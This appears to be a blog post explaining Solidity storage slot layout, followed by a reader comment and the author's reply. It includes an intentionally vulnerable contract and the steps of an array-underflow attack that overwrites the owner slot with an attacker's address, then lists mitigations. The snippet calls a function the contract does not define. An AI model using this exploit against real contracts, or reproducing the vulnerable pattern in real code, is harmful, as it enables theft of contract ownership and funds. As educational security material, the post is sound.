Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

posted Originally published at dly.to 2 min read

Storage layout and array overflow/underflow risks!!!!

  • Solidity stores data in Each slot = 32 bytes (256 bits)
  • Each storage slot is numbered: slot 0, slot 1, slot 2 and so on.

Solidity tries to pack variables into these slots efficiently, but the actual layout depends on data type and declaration order.

Storage Layout Breakdown

  • Consider a simple contract with various variable and it's storage layout
contract StorageExample {
    bool public flag;                    // 1 byte
    uint256 public number;        // 32 bytes
    string public message;        // dynamic
    bytes32[] public data;        // dynamic array
}
  1. bool public flag
  • bool = 1 byte
  • Stored in slot 0 (remaining 31 bytes unused)
  • Solidity will check if next type can be packed in slot 0. If not new slot 1 will be allocated and fitted
  1. uint256 public number
  • uint256 = 32 bytes (can't be fit in slot 0)
  • Stored in slot 1 (entire slot used)
  1. string public message
  • string is a dynamic type. (entire slot 2 used)
  • Solidity stores only a pointer/reference (not the data) in the slot.
  • The actual string content is stored at keccak256(2)
"hello" → 5 bytes
Stored at hash(slot 2) = location A, value: "hello"
  1. bytes32[] public data
  • entire slot 3 used (data.length)
  • bytes32[] is a dynamic array
  • slot stores only The length of the array
// bytes32[] stored at slot 3
start of array -> uint256(keccak256(abi.encode(3)));

// Length in slot 3: 2
If data = [0x1, 0x2];

hash(slot 3) + 0 = 0x...A → 0x1
hash(slot 3) + 1 = 0x...B → 0x2

Possible risks or attacks due to storage layout manipulation

// We will underflow the array
contract WeirdStorage {
    address public owner;           // slot 0
    bytes32[] public data;         // slot 1 -> stores (data.length)

    function setData(uint256 index, bytes32 value) public {
        data[index] = value;
    }
}
// keccak256(1) + i = data[i];

This is how attackers can corrupt unrelated storage — like overwriting a bool variable or even an owner address stored in early slots.

  1. data.pop() -> data.length == 2^256-1

  2. find index that maps to slot 0 (where owner stored)

keccak256(1) + index = 0
index = -keccak256(1) mod 2^256
index = 2^256 - keccak256(1)

vulnerable.popData(); // underflow

// attacker address, cast to bytes32
bytes32 attackerAddress = bytes32(uint256(uint160(attacker)));

// overwrite slot 0 (owner) to attacker address
vulnerable.setData(index, attackerAddress);

Mitigation:

  1. Use Solidity ≥ 0.8.0
  2. Avoid exposing public write access to dynamic arrays
  3. Never allow .pop() or manual index writes from untrusted users
  4. Use SafeMath or OpenZeppelin's defensive wrappers for older versions

Case Studies

If you read this far, tweet to the author to show them you care. Tweet a Thanks

Nice intro to Solidity storage internals! Really appreciate you calling out the underflow risk with dynamic arrays — a subtle but dangerous pitfall. A few code blocks could use formatting fixes for easier reading. Also curious: have you explored how proxy contract upgrades can accidentally cause similar storage slot overlaps?

Thank you for taking the time to read the article and for your kind words. I’ll definitely work on improving the code formatting. The current snippet was structured to help readers better understand the concept. Regarding proxy contracts, we can use OpenZeppelin’s implementation of EIP-1967, which offers a more standardized and reliable storage slot mechanism for upgradeable contracts.

More Posts

What are Price Oracle Manipulation Attacks in Blockchain contracts and EVM???

abiEncode - Jul 5

Ethereum Basics: From Wallets to Smart Contracts

ALLAN ROBINSON - Jul 9

Private variables are not really private on EVM

abiEncode - Jul 8

Blockchain Devops

abiEncode - Jun 29

Advance EVM - Opcodes, low-level calls and instructions

abiEncode - Jul 3
chevron_left